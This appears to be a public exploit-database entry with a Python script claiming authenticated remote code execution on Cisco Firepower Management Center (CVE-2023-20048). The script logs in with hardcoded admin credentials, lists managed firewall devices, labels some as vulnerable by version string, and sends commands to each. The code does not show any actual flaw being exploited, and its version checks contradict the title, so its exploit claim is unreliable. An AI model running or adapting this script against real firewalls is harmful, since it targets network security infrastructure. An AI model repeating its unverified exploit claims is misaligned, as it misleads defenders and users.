Cisco Firepower Management Center < 6.6.7.1 - Authenticated RCE - CVE-2023-20048

# Exploit Title: [Cisco Firepower Management Center]
# Google Dork: [non]
# Date: [12/06/2023]
# Exploit Author: [Abdualhadi khalifa](https://twitter.com/absholi_ly)
# Version: [6.2.3.18", "6.4.0.16", "6.6.7.1]
# CVE : [CVE-2023-20048]

import requests
import json

# set the variables for the URL, username, and password for the FMC web services interface
fmc_url = "https://fmc.example.com"
fmc_user = "admin"
fmc_pass = "cisco123"

# create a requests session to handle cookies and certificate verification
session = requests.Session()
session.verify = False

# send a POST request to the /api/fmc_platform/v1/auth/generatetoken endpoint to get the access token and refresh token
token_url = fmc_url + "/api/fmc_platform/v1/auth/generatetoken"
response = session.post(token_url, auth=(fmc_user, fmc_pass))

# check the response status and extract the access token and refresh token from the response headers
# set the access token as the authorization header for the subsequent requests
try:
    if response.status_code == 200:
        access_token = response.headers["X-auth-access-token"]
        refresh_token = response.headers["X-auth-refresh-token"]
        session.headers["Authorization"] = access_token
    else:
        print("Failed to get tokens, status code: " + str(response.status_code))
        exit()
except Exception as e:
    print(e)
    exit()

# set the variable for the domain id
# change this to your domain id
domain_id = "e276abec-e0f2-11e3-8169-6d9ed49b625f"

# send a GET request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords endpoint to get the list of devices managed by FMC
devices_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords"
response = session.get(devices_url)

# check the response status and extract the data as a json object
try:
    if response.status_code == 200:
        data = response.json()
    else:
        print("Failed to get devices, status code: " + str(response.status_code))
        exit()
except Exception as e:
    print(e)
    exit()

# parse the data to get the list of device names and URLs
devices = []
for item in data["items"]:
    device_name = item["name"]
    device_url = item["links"]["self"]
    devices.append((device_name, device_url))

# loop through the list of devices and send a GET request to the URL of each device to get the device details
for device in devices:
    device_name, device_url = device
    response = session.get(device_url)

    # check the response status and extract the data as a json object
    try:
        if response.status_code == 200:
            data = response.json()
        else:
            print("Failed to get device details, status code: " + str(response.status_code))
            continue
    except Exception as e:
        print(e)
        continue

    # parse the data to get the device type, software version, and configuration URL
    device_type = data["type"]
    device_version = data["metadata"]["softwareVersion"]
    config_url = data["metadata"]["configURL"]

    # check if the device type is FTD and the software version is vulnerable to the CVE-2023-20048 vulnerability
    # use the values from the affected products section in the security advisory
    if device_type == "FTD" and device_version in ["6.2.3.18", "6.4.0.16", "6.6.7.1"]:
        print("Device " + device_name + " is vulnerable to CVE-2023-20048")

        # create a list of commands that you want to execute on the device
        commands = ["show version", "show running-config", "show interfaces"]
        device_id = device_url.split("/")[-1]

        # loop through the list of commands and send a POST request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords/{DEVICE_ID}/operational/command/{COMMAND} endpoint to execute each command on the device
        # replace {DOMAIN_UUID} with your domain id, {DEVICE_ID} with your device id, and {COMMAND} with the command you want to execute
        for command in commands:
            command_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords/" + device_id + "/operational/command/" + command
            response = session.post(command_url)

            # check the response status and extract the data as a json object
            try:
                if response.status_code == 200:
                    data = response.json()
                else:
                    print("Failed to execute command, status code: " + str(response.status_code))
                    continue
            except Exception as e:
                print(e)
                continue

            # parse the data to get the result of the command execution and print it
            result = data["result"]
            print("Command: " + command)
            print("Result: " + result)

    else:
        print("Device " + device_name + " is not vulnerable to CVE-2023-20048")